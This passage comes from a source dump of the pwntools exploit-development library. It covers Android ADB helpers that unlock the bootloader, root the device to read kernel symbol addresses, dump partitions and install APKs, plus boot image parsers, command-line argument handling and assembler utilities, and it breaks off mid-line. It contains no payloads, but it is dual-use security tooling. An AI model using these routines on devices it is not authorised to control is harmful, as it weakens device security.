AdbClient().reboot_bootloader()\n\n        # Check to see if it's unlocked before attempting unlock\n        unlocked = fastboot(['getvar', 'unlocked'])\n        if 'unlocked: yes' in unlocked:\n            w.success(\"Already unlocked\")\n            fastboot(['continue'])\n            return\n\n        fastboot(['oem', 'unlock'])\n        unlocked = fastboot(['getvar', 'unlocked'])\n\n        fastboot(['continue'])\n\n        if 'unlocked: yes' not in unlocked:\n            log.error(\"Unlock failed\")\n\nclass Kernel(object):\n    _kallsyms = None\n\n    @property\n    def address(self):\n        \"\"\"Returns kernel address\n        Example:\n\n        .. doctest::\n           :skipif: skip_android\n\n            >>> hex(adb.kernel.address) # doctest: +ELLIPSIS\n            '0x...000'\n        \"\"\"\n        return self.symbols['_text']\n\n    @property\n    @context.quietfunc\n    def symbols(self):\n        \"\"\"Returns a dictionary of kernel symbols\"\"\"\n        result = {}\n        for line in self.kallsyms.splitlines():\n            fields = line.split()\n            address = int(fields[0], 16)\n            name    = fields[-1]\n            result[name] = address\n        return result\n\n    @property\n    @context.quietfunc\n    def kallsyms(self):\n        \"\"\"Returns the raw output of kallsyms\"\"\"\n        if not self._kallsyms:\n            self._kallsyms = {}\n            root()\n            write('/proc/sys/kernel/kptr_restrict', '1')\n            self._kallsyms = read('/proc/kallsyms').decode('ascii')\n        return self._kallsyms\n\n    @property\n    @context.quietfunc\n    def version(self):\n        \"\"\"Returns the kernel version of the device.\"\"\"\n        root()\n        return read('/proc/version').strip()\n\n    @property\n    @context.quietfunc\n    def cmdline(self):\n        root()\n        return read('/proc/cmdline').strip()\n\n    @property\n    @context.quietfunc\n    def lastmsg(self):\n        root()\n        if 'last_kmsg' in listdir('/proc'):\n            return read('/proc/last_kmsg')\n\n        if 'console-ramoops' in listdir('/sys/fs/pstore/'):\n            return read('/sys/fs/pstore/console-ramoops')\n\n    def enable_uart(self):\n        \"\"\"Reboots the device with kernel logging to the UART enabled.\"\"\"\n        model = getprop('ro.product.model')\n\n        known_commands = {\n            'Nexus 4': None,\n            'Nexus 5': None,\n            'Nexus 6': 'oem config console enable',\n            'Nexus 5X': None,\n            'Nexus 6P': 'oem uart enable',\n            'Nexus 7': 'oem uart-on',\n        }\n\n        with log.waitfor('Enabling kernel UART'):\n\n            if model not in known_commands:\n                log.error(\"Device UART is unsupported.\")\n\n            command = known_commands[model]\n\n            if command is None:\n                w.success('Always enabled')\n                return\n\n            # Check the current commandline, it may already be enabled.\n            if any(s.startswith('console=tty') for s in self.cmdline.split()):\n                w.success(\"Already enabled\")\n                return\n\n            # Need to be root\n            with context.local(device=context.device):\n                # Save off the command line before rebooting to the bootloader\n                cmdline = kernel.cmdline\n\n                reboot_bootloader()\n\n                # Wait for device to come online\n                while context.device not in fastboot(['devices',' -l']):\n                    time.sleep(0.5)\n\n                # Try the 'new' way\n                fastboot(command.split())\n                fastboot(['continue'])\n                wait_for_device()\n\n\nkernel = Kernel()\n\nclass Property(object):\n    def __init__(self, name=None):\n        # Need to avoid overloaded setattr() so we go through __dict__\n        self.__dict__['_name'] = name\n\n    def __str__(self):\n        return str(getprop(self._name)).strip()\n\n    def __getattr__(self, attr):\n        if attr.startswith('_'):\n            raise AttributeError(attr)\n        if self._name:\n            attr = '%s.%s' % (self._name, attr)\n        return Property(attr)\n\n    def __setattr__(self, attr, value):\n        if attr in self.__dict__:\n            return super(Property, self).__setattr__(attr, value)\n\n        if self._name:\n            attr = '%s.%s' % (self._name, attr)\n        setprop(attr, value)\n\n    def __eq__(self, other):\n        \"\"\"Allow simple comparison\n\n        Example:\n\n        .. doctest::\n           :skipif: skip_android\n\n            >>> adb.properties.ro.build.version.sdk == \"24\"\n            True\n        \"\"\"\n        if isinstance(other, str):\n            return str(self) == other\n        return super(Property, self).__eq__(other)\n\n    def __hash__(self, other):\n        # Allow hash indices matching on the property\n        return hash(self._name)\n\nproperties = Property()\n\ndef _build_date():\n    \"\"\"Returns the build date in the form YYYY-MM-DD as a string\"\"\"\n    as_string = getprop('ro.build.date')\n    as_datetime =  dateutil.parser.parse(as_string)\n    return as_datetime.strftime('%Y-%b-%d')\n\ndef find_ndk_project_root(source):\n    '''Given a directory path, find the topmost project root.\n\n    tl;dr \"foo/bar/jni/baz.cpp\" ==> \"foo/bar\"\n    '''\n    ndk_directory = os.path.abspath(source)\n    while ndk_directory != '/':\n        if os.path.exists(os.path.join(ndk_directory, 'jni')):\n            break\n        ndk_directory = os.path.dirname(ndk_directory)\n    else:\n        return None\n\n    return ndk_directory\n\n_android_mk_template = '''\nLOCAL_PATH := $(call my-dir)\n\ninclude $(CLEAR_VARS)\nLOCAL_MODULE := %(local_module)s\nLOCAL_SRC_FILES := %(local_src_files)s\n\ninclude $(BUILD_EXECUTABLE)\n'''.lstrip()\n\n_application_mk_template = '''\nLOCAL_PATH := $(call my-dir)\n\ninclude $(CLEAR_VARS)\nAPP_ABI:= %(app_abi)s\nAPP_PLATFORM:=%(app_platform)s\n'''.lstrip()\n\ndef _generate_ndk_project(file_list, abi='arm-v7a', platform_version=21):\n    # Create our project root\n    root = tempfile.mkdtemp()\n\n    if not isinstance(file_list, (list, tuple)):\n        file_list = [file_list]\n\n    # Copy over the source file(s)\n    jni_directory = os.path.join(root, 'jni')\n    os.mkdir(jni_directory)\n    for file in file_list:\n        shutil.copy(file, jni_directory)\n\n    # Create the directories\n\n    # Populate Android.mk\n    local_module = os.path.basename(file_list[0])\n    local_module, _ = os.path.splitext(local_module)\n    local_src_files = ' '.join(list(map(os.path.basename, file_list)))\n    Android_mk = os.path.join(jni_directory, 'Android.mk')\n    with open(Android_mk, 'w+') as f:\n        f.write(_android_mk_template % locals())\n\n    # Populate Application.mk\n    app_abi = abi\n    app_platform = 'android-%s' % platform_version\n    Application_mk = os.path.join(jni_directory, 'Application.mk')\n    with open(Application_mk, 'w+') as f:\n        f.write(_application_mk_template % locals())\n\n    return root\n\ndef compile(source):\n    r\"\"\"Compile a source file or project with the Android NDK.\n\n    Example:\n\n    .. doctest::\n       :skipif: skip_android\n\n        >>> temp = tempfile.mktemp('.c')\n        >>> write(temp, '''\n        ... #include <stdio.h>\n        ... static char buf[4096];\n        ... int main() {\n        ...   FILE *fp = fopen(\"/proc/self/maps\", \"r\");\n        ...   int n = fread(buf, 1, sizeof(buf), fp);\n        ...   fwrite(buf, 1, n, stdout);\n        ...   return 0;\n        ... }''')\n        >>> filename = adb.compile(temp)\n        >>> sent = adb.push(filename, \"/data/local/tmp\")\n        >>> adb.process(sent).recvall() # doctest: +ELLIPSIS\n        b'... /system/lib64/libc++.so\\n...'\n    \"\"\"\n\n    ndk_build = misc.which('ndk-build')\n    if not ndk_build:\n        # Ensure that we can find the NDK.\n        for envvar in ('NDK', 'ANDROID_NDK', 'ANDROID_NDK_ROOT',\n                       'ANDROID_NDK_HOME', 'ANDROID_NDK_LATEST_HOME'):\n            ndk = os.environ.get(envvar)\n            if ndk is not None:\n                break\n        else:\n            log.error('$NDK must be set to the Android NDK directory')\n        ndk_build = os.path.join(ndk, 'ndk-build')\n\n    # Determine whether the source is an NDK project or a single source file.\n    project = find_ndk_project_root(source)\n\n    if not project:\n        # Realistically this should inherit from context.arch, but\n        # this works for now.\n        sdk = '21'\n        abi = {\n            'aarch64': 'arm64-v8a',\n            'amd64':   'x86_64',\n            'arm':     'armeabi-v7a',\n            'i386':    'x86',\n            'mips':    'mips',\n            'mips64':  'mips64',\n        }.get(context.arch, None)\n\n        # If we have an attached device, use its settings.\n        if context.device:\n            abi = getprop('ro.product.cpu.abi')\n            sdk = getprop('ro.build.version.sdk')\n\n        if abi is None:\n            log.error(\"Unknown CPU ABI\")\n\n        project = _generate_ndk_project(source, abi, sdk)\n\n    # Remove any output files\n    lib = os.path.join(project, 'libs')\n    if os.path.exists(lib):\n        shutil.rmtree(lib)\n\n    # Build the project\n    io = tubes.process.process(ndk_build, cwd=os.path.join(project, 'jni'))\n\n    result = io.recvall()\n\n    if 0 != io.poll():\n        log.error(\"Build failed:\\n%s\", result)\n\n    # Find all of the output files\n    output = glob.glob(os.path.join(lib, '*', '*'))\n\n    return output[0]\n\nclass Partition(object):\n    def __init__(self, path, name, blocks=0):\n        self.path = path\n        self.name = name\n        self.blocks = blocks\n        self.size = blocks * 1024\n\n    @property\n    def data(self):\n        with log.waitfor('Fetching %r partition (%s)' % (self.name, self.path)):\n            return read(self.path)\n\n@with_device\ndef walk(top, topdown=True):\n    join = os.path.join\n    isdir = lambda x: stat.S_ISDIR(x['mode'])\n    client = AdbClient()\n    names = client.list(top)\n\n    dirs, nondirs = [], []\n    for name, metadata in names.items():\n        if isdir(metadata):\n            dirs.append(name)\n        else:\n            nondirs.append(name)\n\n    if topdown:\n        yield top, dirs, nondirs\n    for name in dirs:\n        new_path = join(top, name)\n        for x in walk(new_path, topdown):\n            yield x\n    if not topdown:\n        yield top, dirs, nondirs\n\n@with_device\ndef find(top, name):\n    for root, dirs, files in walk(top):\n        if name in files or name in dirs:\n            yield os.path.join(root, name)\n\n@with_device\ndef readlink(path):\n    path = process(['realpath', path]).recvall()\n\n    # Readlink will emit a single newline\n    # We can't use the '-n' flag since old versions don't support it\n    if path.endswith(b'\\n'):\n        path = path[:-1]\n\n    return path.decode()\n\nclass Partitions(object):\n    \"\"\"Enable access to partitions\n\n    Example:\n\n    .. doctest::\n       :skipif: skip_android\n\n        >>> hex(adb.partitions.vda.size) # doctest: +ELLIPSIS\n        '0x...000'\n    \"\"\"\n    @property\n    @context.quietfunc\n    def by_name_dir(self):\n        try:\n            with context.local(log_level=logging.FATAL):\n                return next(find('/dev/block/platform','by-name'))\n        except (StopIteration, PwnlibException):\n            return '/dev/block'\n\n    @context.quietfunc\n    def __dir__(self):\n        return list(self)\n\n    @context.quietfunc\n    def iter_proc_partitions(self):\n        for line in read('/proc/partitions').splitlines():\n            if not line.strip():\n                continue\n            major, minor, blocks, name = line.split(None, 4)\n            yield blocks, name.decode()\n\n    @context.quietfunc\n    @with_device\n    def __iter__(self):\n        root()\n\n        # Find all named partitions\n        names = set(listdir(self.by_name_dir))\n\n        # Find all unnamed partitions\n        for _, name in self.iter_proc_partitions():\n            names.add(name)\n        return iter(names)\n\n    def __getattr__(self, attr):\n        if attr.startswith('_'):\n            raise AttributeError(attr)\n\n        for name in self:\n            if name == attr:\n                break\n        else:\n            raise AttributeError(\"No partition %r\" % attr)\n\n        path = os.path.join(self.by_name_dir, name)\n\n        with context.quiet:\n            # Find the actual path of the device\n            devpath = readlink(path)\n            devname = os.path.basename(devpath)\n\n            # Get the size of the partition\n            for blocks, name in self.iter_proc_partitions():\n                if name in (devname, attr):\n                    break\n            else:\n                log.error(\"Could not find size of partition %r\" % name)\n\n        return Partition(devpath, attr, int(blocks))\n\npartitions = Partitions()\n\ndef install(apk, *arguments):\n    \"\"\"Install an APK onto the device.\n\n    This is a wrapper around 'pm install', which backs 'adb install'.\n\n    Arguments:\n        apk(str): Path to the APK to install (e.g. ``'foo.apk'``)\n        arguments: Supplementary arguments to 'pm install',\n            e.g. ``'-l', '-g'``.\n    \"\"\"\n    if not apk.endswith('.apk'):\n        log.error(\"APK must have .apk extension\")\n\n    basename = os.path.basename(apk)\n    target_path = '/data/local/tmp/{}.apk'.format(basename)\n\n    with log.progress(\"Installing APK {}\".format(basename)) as p:\n        with context.quiet:\n            p.status('Copying APK to device')\n            push(apk, target_path)\n\n            p.status('Installing')\n            result = process(['pm', 'install-create', target_path] + list(arguments)).recvall()\n\n            status = result.splitlines()[-1]\n            if 'Success' not in status:\n                log.error(status)\n\ndef uninstall(package, *arguments):\n    \"\"\"Uninstall an APK from the device.\n\n    This is a wrapper around 'pm uninstall', which backs 'adb uninstall'.\n\n    Arguments:\n        package(str): Name of the package to uninstall (e.g. ``'com.foo.MyPackage'``)\n        arguments: Supplementary arguments to ``'pm install'``, e.g. ``'-k'``.\n    \"\"\"\n    with log.progress(\"Uninstalling package {}\".format(package)):\n        with context.quiet:\n            return process(['pm','uninstall',package] + list(arguments)).recvall()\n\n@context.quietfunc\ndef packages():\n    \"\"\"Returns a list of packages installed on the system\"\"\"\n    # Decodes the received bytes as UTF-8 per:\n    # https://developer.android.com/reference/java/nio/charset/Charset#defaultCharset()\n    # where it is specified that UTF-8 is the default charset for Android.\n    packages = process(['pm', 'list', 'packages']).recvall().decode('utf-8')\n    return [line.split('package:', 1)[-1] for line in packages.splitlines()]\n\n@context.quietfunc\ndef version():\n    \"\"\"Returns rthe platform version as a tuple.\"\"\"\n    prop = getprop('ro.build.version.release')\n    return [int(v) for v in prop.split('.')]\n"
  },
  {
    "path": "pwnlib/adb/bootimg.py",
    "content": "import ctypes\n\nBOOT_MAGIC = b\"ANDROID!\"\nBOOT_MAGIC_SIZE = 8\nBOOT_NAME_SIZE = 16\nBOOT_ARGS_SIZE = 512\nBOOT_EXTRA_ARGS_SIZE = 1024\n\n\nclass boot_img_hdr(ctypes.Structure):\n    _fields_ = [\n        ('magic', ctypes.c_char * BOOT_MAGIC_SIZE),\n\n        ('kernel_size', ctypes.c_uint32),\n        ('kernel_addr', ctypes.c_uint32),\n\n        ('ramdisk_size', ctypes.c_uint32),\n        ('ramdisk_addr', ctypes.c_uint32),\n\n        ('second_size', ctypes.c_uint32),\n        ('second_addr', ctypes.c_uint32),\n\n        ('tags_addr', ctypes.c_uint32),\n        ('page_size', ctypes.c_uint32),\n        ('unused', ctypes.c_uint32),\n\n        ('os_version', ctypes.c_uint32),\n\n        ('name', ctypes.c_char * BOOT_NAME_SIZE),\n        ('cmdline', ctypes.c_char * BOOT_ARGS_SIZE),\n        ('id', ctypes.c_char * 8),\n\n        ('extra_cmdline', ctypes.c_char * BOOT_EXTRA_ARGS_SIZE),\n    ]\n\nclass BootImage(object):\n    def __init__(self, data):\n        self.data = data\n        self.header = boot_img_hdr.from_buffer_copy(data)\n\n        PAGE = self.page_size\n\n        # The kernel starts at the beginning of the second page.\n        self.kernel = self.data[PAGE:PAGE+self.kernel_size]\n\n    def __getattr__(self, name):\n        if name.startswith('_'):\n            raise AttributeError(name)\n\n        return getattr(self.header, name)\n"
  },
  {
    "path": "pwnlib/adb/bootloader.py",
    "content": "import ctypes\nimport io\nimport os\nimport sys\n\nfrom pwnlib.log import getLogger\n\nlog = getLogger(__name__)\n\nclass img_info(ctypes.Structure):\n    _fields_ = [\n        ('name', ctypes.c_char * 64),\n        ('size', ctypes.c_uint32)\n    ]\n\nclass bootloader_images_header(ctypes.Structure):\n    _fields_ = [\n        ('magic', ctypes.c_char * 8),\n        ('num_images', ctypes.c_uint32),\n        ('start_offset', ctypes.c_uint32),\n        ('bootldr_size', ctypes.c_uint32),\n    ]\n\nBOOTLDR_MAGIC = b'BOOTLDR!'\n\nclass BootloaderImage(object):\n    def __init__(self, data):\n        \"\"\"Android Bootloader image\n\n        Arguments:\n            data(str): Binary data from the image file.\n        \"\"\"\n        self.data = data\n        self.header = bootloader_images_header.from_buffer_copy(data)\n\n        if self.magic != BOOTLDR_MAGIC:\n            log.error(\"Incorrect magic (%r, expected %r)\" % (self.magic, BOOTLDR_MAGIC))\n\n        if(self.bootldr_size > len(data)):\n            log.warn_once(\"Bootloader is supposed to be %#x bytes, only have %#x\",\n                          self.bootldr_size,\n                          len(data))\n\n        if(self.num_images >= 0x100):\n            old = self.num_images\n            self.num_images = 1\n            log.warn_once(\"Bootloader num_images (%#x) appears corrupted, truncating to 1\",\n                          old)\n\n        imgarray = ctypes.ARRAY(img_info, self.num_images)\n        self.img_info = imgarray.from_buffer_copy(data, ctypes.sizeof(self.header))\n\n    def extract(self, index_or_name):\n        \"\"\"extract(index_or_name) -> bytes\n\n        Extract the contents of an image.\n\n        Arguments:\n            index_or_name(str,int): Either an image index or name.\n\n        Returns:\n            Contents of the image.\n        \"\"\"\n        if isinstance(index_or_name, int):\n            index = index_or_name\n        else:\n            for i in range(len(self.img_info)):\n                if self.img_info[i].name == index_or_name:\n                    index = i\n                    break\n            else:\n                raise ValueError(\"Invalid img name: %r\" % index_or_name)\n\n        if index >= len(self.img_info):\n            raise ValueError(\"index out of range (%s, max %s)\" % (index, len(self.img_info)))\n\n        offset = self.start_offset\n\n        for i in range(index):\n            offset += self.img_info[i].size\n\n        return self.data[offset:offset + self.img_info[index].size]\n\n    def extract_all(self, path):\n        \"\"\"extract_all(path)\n\n        Extracts all images to the provided path.  The filenames are taken\n        from the image name, with '.img' appended.\n        \"\"\"\n        if not os.path.isdir(path):\n            raise ValueError(\"%r does not exist or is not a directory\" % path)\n\n        for img in self.img_info:\n            imgpath = os.path.join(path, img.name + '.img')\n            with open(imgpath, 'wb+') as f:\n                data = self.extract(img.name)\n                f.write(data)\n\n    def __str__(self):\n        rv = []\n        rv.append(\"Bootloader\")\n        rv.append(\"  Magic:  %r\" % self.magic)\n        rv.append(\"  Offset: %#x\" % self.start_offset)\n        rv.append(\"  Size:   %#x\" % self.bootldr_size)\n        rv.append(\"  Images: %s\" % self.num_images)\n        for img in self.img_info:\n            rv.append(\"    Name: %s\" % img.name)\n            rv.append(\"    Size: %#x\" % img.size)\n            rv.append(\"    Data: %r...\" % self.extract(img.name)[:32])\n        return '\\n'.join(rv)\n\n    def __getattr__(self, name):\n        if name.startswith('_'):\n            raise AttributeError(name)\n\n        return getattr(self.header, name)\n\n\nif __name__ == '__main__':\n    # Easy sanity checking\n    b = BootloaderImage(open(sys.argv[1], 'rb').read())\n    print(b)\n"
  },
  {
    "path": "pwnlib/adb/protocol.py",
    "content": "\"\"\"\nThis file exists only for backward compatibility\n\"\"\"\nfrom pwnlib.protocols.adb import AdbClient\nClient = AdbClient\n"
  },
  {
    "path": "pwnlib/args.py",
    "content": "\"\"\"\nPwntools exposes several magic command-line arguments and environment\nvariables when operating in `from pwn import *` mode.\n\nThe arguments extracted from the command-line and removed from ``sys.argv``.\n\nArguments can be set by appending them to the command-line, or setting\nthem in the environment prefixed by ``PWNLIB_``.\n\nThe easiest example is to enable more verbose debugging.  Just set ``DEBUG``.\n\n.. code-block:: bash\n\n    $ PWNLIB_DEBUG=1 python exploit.py\n    $ python exploit.py DEBUG\n\nThese arguments are automatically extracted, regardless of their name, and\nexposed via :mod:`pwnlib.args.args`, which is exposed as the global variable\n:data:`args`.  Arguments which ``pwntools`` reserves internally are not exposed\nthis way.\n\n.. code-block:: bash\n\n    $ python -c 'from pwn import *; print(args)' A=1 B=Hello HOST=1.2.3.4 DEBUG\n    defaultdict(<type 'str'>, {'A': '1', 'HOST': '1.2.3.4', 'B': 'Hello'})\n\nThis is very useful for conditional code, for example determining whether to\nrun an exploit locally or to connect to a remote server.  Arguments which are\nnot specified evaluate to an empty string.\n\n.. code-block:: python\n\n    if args['REMOTE']:\n        io = remote('exploitme.com', 4141)\n    else:\n        io = process('./pwnable')\n\nArguments can also be accessed directly with the dot operator, e.g.:\n\n.. code-block:: python\n\n    if args.REMOTE:\n        ...\n\nAny undefined arguments evaluate to an empty string, ``''``.\n\nThe full list of supported \"magic arguments\" and their effects are listed\nbelow.\n\n\"\"\"\nimport collections\nimport logging\nimport os\nimport string\nimport sys\n\nfrom pwnlib import term\nfrom pwnlib.context import context\n\nclass PwnlibArgs(collections.defaultdict):\n    def __getattr__(self, attr):\n        if attr.startswith('_'):\n            raise AttributeError(attr)\n        return self[attr]\n\nargs = PwnlibArgs(str)\nterm_mode  = True\nenv_prefix = 'PWNLIB_'\nfree_form  = True\n\n# Check to see if we were invoked as one of the 'pwn xxx' scripts.\n# If so, we don't want to remove e.g. \"SYS_\" from the end of the command\n# line, as this breaks things like constgrep.\nimport pwnlib.commandline\nbasename = os.path.basename(sys.argv[0])\n\nif basename == 'pwn' or basename in pwnlib.commandline.__all__:\n    free_form = False\n\n\ndef isident(s):\n    \"\"\"\n    Helper function to check whether a string is a valid identifier,\n    as passed in on the command-line.\n    \"\"\"\n    first = string.ascii_uppercase + '_'\n    body = string.digits + first\n    if not s:\n        return False\n    if s[0] not in first:\n        return False\n    if not all(c in body for c in s[1:]):\n        return False\n    return True\n\ndef asbool(s):\n    \"\"\"\n    Convert a string to its boolean value\n    \"\"\"\n    if   s.lower() == 'true':\n        return True\n    elif s.lower() == 'false':\n        return False\n    elif s.isdigit():\n        return bool(int(s))\n    else:\n        raise ValueError('must be integer or boolean: %r' % s)\n\ndef LOG_LEVEL(x):\n    \"\"\"Sets the logging verbosity used via ``context.log_level``,\n    e.g. ``LOG_LEVEL=debug``.\n    \"\"\"\n    with context.local(log_level=x):\n        context.defaults['log_level']=context.log_level\n\ndef LOG_FILE(x):\n    \"\"\"Sets a log file to be used via ``context.log_file``, e.g.\n    ``LOG_FILE=./log.txt``\"\"\"\n    context.log_file=x\n\ndef SILENT(x):\n    \"\"\"Sets the logging verbosity to ``error`` which silences most\n    output.\"\"\"\n    LOG_LEVEL('error')\n\ndef DEBUG(x):\n    \"\"\"Sets the logging verbosity to ``debug`` which displays much\n    more information, including logging each byte sent by tubes.\"\"\"\n    LOG_LEVEL('debug')\n\ndef NOTERM(v):\n    \"\"\"Disables pretty terminal settings and animations.\"\"\"\n    if asbool(v):\n        global term_mode\n        term_mode = False\n\ndef TIMEOUT(v):\n    \"\"\"Sets a timeout for tube operations (in seconds) via\n    ``context.timeout``, e.g. ``TIMEOUT=30``\"\"\"\n    context.defaults['timeout'] = int(v)\n\ndef RANDOMIZE(v):\n    \"\"\"Enables randomization of various pieces via ``context.randomize``\"\"\"\n    context.defaults['randomize'] = asbool(v)\n\ndef NOASLR(v):\n    \"\"\"Disables ASLR via ``context.aslr``\"\"\"\n    context.defaults['aslr'] = not asbool(v)\n\ndef NOPTRACE(v):\n    \"\"\"Disables facilities which require ``ptrace`` such as ``gdb.attach()``\n    statements, via ``context.noptrace``.\"\"\"\n    context.defaults['noptrace'] = asbool(v)\n\ndef STDERR(v):\n    \"\"\"Sends logging to ``stderr`` by default, instead of ``stdout``\"\"\"\n    context.log_console = sys.stderr\n\ndef LOCAL_LIBCDB(v):\n    \"\"\"Sets path to local libc-database via ``context.local_libcdb``, e.g. \n    ``LOCAL_LIBCDB='/path/to/libc-databse'``\"\"\"\n    context.local_libcdb = v\n\nhooks = {\n    'LOG_LEVEL': LOG_LEVEL,\n    'LOG_FILE': LOG_FILE,\n    'DEBUG': DEBUG,\n    'NOTERM': NOTERM,\n    'SILENT': SILENT,\n    'RANDOMIZE': RANDOMIZE,\n    'TIMEOUT': TIMEOUT,\n    'NOASLR': NOASLR,\n    'NOPTRACE': NOPTRACE,\n    'STDERR': STDERR,\n    'LOCAL_LIBCDB': LOCAL_LIBCDB,\n}\n\ndef initialize():\n    global args, term_mode\n\n    # Hack for readthedocs.org\n    if 'READTHEDOCS' in os.environ:\n        os.environ['PWNLIB_NOTERM'] = '1'\n\n    for k, v in os.environ.items():\n        if not k.startswith(env_prefix):\n            continue\n        k = k[len(env_prefix):]\n\n        if k in hooks:\n            hooks[k](v)\n        elif isident(k):\n            args[k] = v\n\n    argv = sys.argv[:]\n    for arg in sys.argv[:]:\n        orig  = arg\n        value = 'True'\n\n        if '=' in arg:\n            arg, value = arg.split('=', 1)\n\n        if arg in hooks:\n            sys.argv.remove(orig)\n            hooks[arg](value)\n\n        elif free_form and isident(arg):\n            sys.argv.remove(orig)\n            args[arg] = value\n\n    if term_mode:\n        term.init()\n"
  },
  {
    "path": "pwnlib/asm.py",
    "content": "r\"\"\"\nUtilities for assembling and disassembling code.\n\nArchitecture Selection\n------------------------\n\n    Architecture, endianness, and word size are selected by using :mod:`pwnlib.context`.\n\n    Any parameters which can be specified to ``context`` can also be specified as\n    keyword arguments to either :func:`asm` or :func:`disasm`.\n\nAssembly\n------------------------\n\n    To assemble code, simply invoke :func:`asm` on the code to assemble.\n\n        >>> asm('mov eax, 0')\n        b'\\xb8\\x00\\x00\\x00\\x00'\n\n    Additionally, you can use constants as defined in the :mod:`pwnlib.constants`\n    module.\n\n        >>> asm('mov eax, SYS_execve')\n        b'\\xb8\\x0b\\x00\\x00\\x00'\n\n    Finally, :func:`asm` is used to assemble shellcode provided by ``pwntools``\n    in the :mod:`shellcraft` module.\n\n        >>> asm(shellcraft.nop())\n        b'\\x90'\n\nDisassembly\n------------------------\n\n    To disassemble code, simply invoke :func:`disasm` on the bytes to disassemble.\n\n    >>> disasm(b'\\xb8\\x0b\\x00\\x00\\x00')\n    '   0:   b8 0b 00 00 00          mov    eax, 0xb'\n\n\"\"\"\nimport errno\nimport os\nimport platform\nimport re\nimport shutil\nimport subprocess\nimport tempfile\nfrom collections import defaultdict\nfrom glob import glob\nfrom os import environ\nfrom os import path\n\nfrom pwnlib import atexit\nfrom pwnlib import shellcraft\nfrom pwnlib.context import LocalContext\nfrom pwnlib.context import context\nfrom pwnlib.log import getLogger\nfrom pwnlib.util.hashes import sha1sumhex\nfrom pwnlib.util.packing import _encode\nfrom pwnlib.version import __version__\n\nlog = getLogger(__name__)\n\n__all__ = ['asm', 'cpp', 'disasm', 'make_elf', 'make_elf_from_assembly']\n\n_basedir = path.split(__file__)[0]\n_incdir  = path.join(_basedir, 'data', 'includes')\n\ndef dpkg_search_for_binutils(arch, util):\n    \"\"\"Use dpkg to search for any available assemblers which will work.\n\n    Returns:\n        A list of candidate package names.\n\n    ::\n\n        >>> pwnlib.asm.dpkg_search_for_binutils('aarch64', 'as')\n        ['binutils-aarch64-linux-gnu']\n    \"\"\"\n\n    # Example output:\n    # $ dpkg -S 'arm*linux*-as'\n    # binutils-arm-linux-gnu: /usr/bin/arm-linux-gnu-as\n    # binutils-arm-linux-gnueabihf: /usr/bin/arm-linux-gnueabihf-as\n    # binutils-arm-linux-gnueabihf: /usr/x86_64-linux-gnu/arm-linux-gnueabihf/include/dis-asm.h\n    # binutils-arm-linux-gnu: /usr/x86_64-linux-gnu/arm-linux-gnu/include/dis-asm.h\n    packages = []\n\n    try:\n        filename = 'bin/%s*linux*-%s' % (arch, util)\n        output = subprocess.check_output(['dpkg','-S',filename], universal_newlines = True)\n        for line in output.strip().splitlines():\n            package, path = line.split(':', 1)\n            packages.append(package)\n    except OSError:\n        pass\n    except subprocess.CalledProcessError:\n        pass\n\n    return packages\n\ndef print_binutils_instructions(util, context):\n    \"\"\"On failure to find a binutils utility, inform the user of a way\n    they can get it easily.\n\n    Doctest:\n\n        >>> context.clear(arch = 'amd64')\n        >>> pwnlib.asm.print_binutils_instructions('as', context)\n        Traceback (most recent call last):\n        ...\n        PwnlibException: Could not find 'as' installed for ContextType(arch = 'amd64', bits = 64, endian = 'little')\n        Try installing binutils for this architecture:\n        $ sudo apt-get install binutils\n    \"\"\"\n    # This links to our instructions on how to manually install binutils\n    # for several architectures.\n    instructions = 'https://docs.pwntools.com/en/stable/install/binutils.html'\n\n    # However, if we can directly provide a useful command, go for it.\n    binutils_arch = {\n        'amd64': 'x86_64',\n        'arm':   'armeabi',\n        'thumb': 'armeabi',\n    }.get(context.arch, context.arch)\n\n    packages = dpkg_search_for_binutils(binutils_arch, util)\n\n    if packages:\n        instructions = '$ sudo apt-get install %s' % packages[0]\n\n    log.error(\"\"\"\nCould not find %(util)r installed for %(context)s\nTry installing binutils for this architecture:\n%(instructions)s\n\"\"\".strip() % locals())\n\n\ndef check_binutils_version(util):\n    if util_versions[util]:\n        return util_versions[util]\n    result = subprocess.check_output([util, '--version','/dev/null'],\n                                     stderr=subprocess.STDOUT, universal_newlines=True)\n    if 'clang' in result:\n        log.warn_once('Your binutils is clang-based and may not work!\\n'\n            'Try installing with: https://docs.pwntools.com/en/stable/install/binutils.html\\n'\n            'Reported version: %r', result.strip())\n    version = re.search(r' (\\d+\\.\\d+)', result).group(1)\n    util_versions[util] = version = tuple(map(int, version.split('.')))\n    return version\n\n\n@LocalContext\ndef which_binutils(util, check_version=False):\n    \"\"\"\n    Finds a binutils in the PATH somewhere.\n    Expects that the utility is prefixed with the architecture name.\n\n    Examples:\n\n        >>> import platform\n        >>> which_binutils = pwnlib.asm.which_binutils\n        >>> which_binutils('as', arch=platform.machine())\n        '.../bin/...as'\n        >>> which_binutils('as', arch='arm') #doctest: +ELLIPSIS\n        '.../bin/arm-...-as'\n        >>> which_binutils('as', arch='powerpc') #doctest: +ELLIPSIS\n        '.../bin/powerpc...-as'\n        >>> which_binutils('as', arch='mips', endianness='little') #doctest: +ELLIPSIS\n        '.../bin/mipsel...-as'\n        >>> which_binutils('as', arch='msp430') #doctest: +SKIP\n        ...\n        Traceback (most recent call last):\n        ...\n        Exception: Could not find 'as' installed for ContextType(arch = 'msp430')\n    \"\"\"\n    arch = context.arch\n\n    # Handle endianness-specific naming for mips/mips64\n    arch = {\n        ('mips', 'little'): 'mipsel',\n        ('mips64', 'little'): 'mips64el',\n    }.get((arch, context.endianness), arch)\n\n    # Fix up pwntools vs Debian triplet naming, and account\n    # for 'thumb' being its own pwntools architecture.\n    aliases = {\n        'thumb':  ['arm',    'aarch64'],\n        'i686':   ['x86_64', 'amd64'],\n        'amd64':  ['x86_64'],\n        'loongarch64': ['loong64'],\n    }.get(arch, [])\n\n    # Some binutils can support multiple architectures. Try them as fallbacks.\n    fallback_arches = {\n        'i386':   ['x86_64', 'amd64'],\n        'amd64':  ['i386'],\n        'arm':  ['aarch64'],\n        'mips': ['mipsel'],\n        'mipsel': ['mips'],\n        'mips64': ['mips64el', 'mips', 'mipsel'],\n        'mips64el': ['mips64', 'mipsel', 'mips'],\n        'powerpc64': ['powerpc'],\n        'sparc64': ['sparc'],\n        'riscv32': ['riscv64', 'riscv'],\n        'riscv64': ['riscv32', 'riscv'],\n    }.get(arch, [])\n    arches = [arch] + aliases + fallback_arches\n\n    # If one of the candidate architectures matches the native\n    # architecture, use that as a last resort before trying fallbacks.\n    machine = platform.machine()\n    machine = 'i386' if machine == 'i686' else machine\n    try:\n        with context.local(arch = machine):\n            if context.arch in 